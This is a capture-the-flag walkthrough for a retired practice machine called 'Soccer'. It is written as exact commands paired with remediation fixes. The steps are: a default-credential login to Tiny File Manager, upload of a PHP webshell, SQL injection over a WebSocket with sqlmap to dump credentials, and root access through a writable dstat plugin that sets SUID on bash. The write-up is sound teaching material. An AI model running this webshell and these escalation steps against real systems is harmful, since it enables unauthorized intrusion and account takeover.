Soccer
Summary
I found a Tiny File Manager installation left at its factory password, uploaded a PHP webshell that gave command-level access to the web server, then read the nginx configuration to discover a second virtual host running a soccer-player portal. That portal's ticket-lookup feature passed user input directly to a SQL query over a WebSocket connection, leaking the 'player' account's SSH password from the database.
With an interactive shell as player, I wrote a two-line Python plugin into a world-writable dstat directory and triggered it through a permissive doas rule, executing code as root and capturing both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Full TCP port scan with service and version detection.
$ nmap -sC -sV -p- --open $TARGET -oN soccer.nmapMap the primary vhost so tools resolve it correctly.
$ echo "$TARGET soccer.htb" >> /etc/hostsDiscover /tiny/ and any other hidden paths.
$ gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html -t 40Exact commands 1
Verify the default credentials authenticate; a successful response contains 'logout' or a dashboard heading.
$ curl -sc /tmp/tfm.jar -b /tmp/tfm.jar -d "fm_usr=admin&fm_pwd=$PASSWORD2" -H 'Host: soccer.htb' http://soccer.htb/tiny/ -L | grep -i 'logout\|File Manager'FixReplace Tiny File Manager's factory-default credentialsCritical
Exact commands 3
Create a minimal one-line command-execution webshell locally.
$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.phpUpload the shell into the web-accessible uploads directory via TFM's upload endpoint.
$ curl -sb /tmp/tfm.jar -F 'p=/' -F 'file[]=@/tmp/shell.php' -H 'Host: soccer.htb' 'http://soccer.htb/tiny/tinyfilemanager.php?p=tiny%2Fuploads'Confirm RCE — response should contain uid=33(www-data).
$ curl -s -H 'Host: soccer.htb' 'http://soccer.htb/tiny/uploads/shell.php?cmd=id'FixBlock PHP execution inside the file upload directoryCritical
location ~* /tiny/uploads/.*\.php$ { deny all; }. Alternatively, configure PHP-FPM to process only files outside the uploads tree. If file uploads are required, restrict permitted extensions to known-safe types (images, PDFs) using an allowlist validated server-side, not client-side.Exact commands 3
Read all nginx vhost configs via the webshell; look for server_name directives.
$ curl -s -H 'Host: soccer.htb' 'http://soccer.htb/tiny/uploads/shell.php?cmd=cat+/etc/nginx/sites-available/*'Add the discovered vhost so it resolves from the attack machine.
$ echo "$TARGET soc-player.soccer.htb" >> /etc/hostsConfirm the second vhost responds and identify the application running there.
$ curl -sv -H 'Host: soc-player.soccer.htb' http://$TARGET/ | head -40Exact commands 2
Open an interactive WebSocket session; send {"id":"1 OR 1=1-- -"} to probe for injection (a response difference confirms it).
$ wscat -c ws://soc-player.soccer.htb:9091Automate boolean-based blind extraction of the accounts table; sqlmap treats the * as the injection point.
$ sqlmap -u 'ws://soc-player.soccer.htb:9091' --data='{"id":"*"}' --dbms=mysql --technique=B --level=5 --risk=3 --dump --batchFixParameterise SQL queries in the WebSocket ticket service and hash stored passwordsCritical
SELECT … WHERE id = ? with PDO or mysqli. Audit every other query in the codebase for the same pattern. Stop storing passwords in plaintext: hash them with bcrypt or argon2id before saving. Rotate all credentials that were present in the database at the time of the breach.Exact commands 2
SSH login with password $PASSWORD.
$ ssh player@$TARGETCapture the user flag -> <user.txt>.
$ cat /home/player/user.txtExact commands 5
Confirm the doas rule; expect: permit nopass player as root cmd /usr/bin/dstat.
$ cat /usr/local/etc/doas.confConfirm the plugin directory is writable by the current user.
$ ls -la /usr/local/share/dstat/Drop a plugin that sets the SUID bit on /bin/bash for persistent root access.
$ printf '%s\n' 'import os' 'os.system("chmod u+s /bin/bash")' > /usr/local/share/dstat/dstat_root.pyLoad the plugin as root, triggering os.system() with UID 0.
$ /usr/local/bin/doas /usr/bin/dstat --rootOpen a root shell via the SUID bash -> <root.txt>.
$ /bin/bash -p -c 'id; cat /root/root.txt'FixRemove the unrestricted doas rule for dstat and harden the plugin directoryHigh
chown root:root /usr/local/share/dstat && chmod 755 /usr/local/share/dstat) before reinstating the doas rule. Restrict the doas rule to an explicit, fixed set of flags rather than allowing arbitrary arguments. Review all other doas/sudo rules on the host for similar unrestricted entries.Techniques used
New to these ideas? Learn the concepts in Hack & Learn.